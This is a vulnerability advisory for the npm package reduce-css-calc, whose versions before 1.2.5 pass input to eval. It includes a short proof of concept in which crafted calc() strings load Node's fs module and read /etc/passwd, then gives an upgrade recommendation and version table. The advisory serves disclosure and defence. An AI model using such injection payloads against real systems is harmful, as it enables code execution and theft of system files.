Arbitrary Code Injection in reduce-css-calc
Affected versions of reduce-css-calc pass input directly to eval. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.
Proof of Concept
const reduceCSSCalc = require('reduce-css-calc');
console.log(reduceCSSCalc(`calc( (Buffer(10000)))`));
console.log(reduceCSSCalc(`calc( (global['fs'] = require('fs')))`));
console.log(reduceCSSCalc(`calc( (fs['readFileSync']("/etc/passwd", "utf-8")))`));Recommendation
Update to version 1.2.5 or later.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | reduce-css-calc | < 1.2.5 | 1.2.5 |
References
- Weakness (CWE)
CWE-94- Platform
- npm
- Package
reduce-css-calc- Disclosed
- 07.06.2018
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-4662-j96g-mv46 - CC BY 4.0
Vulnerability history: reduce-css-calc
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
This is the only known vulnerability of this package.
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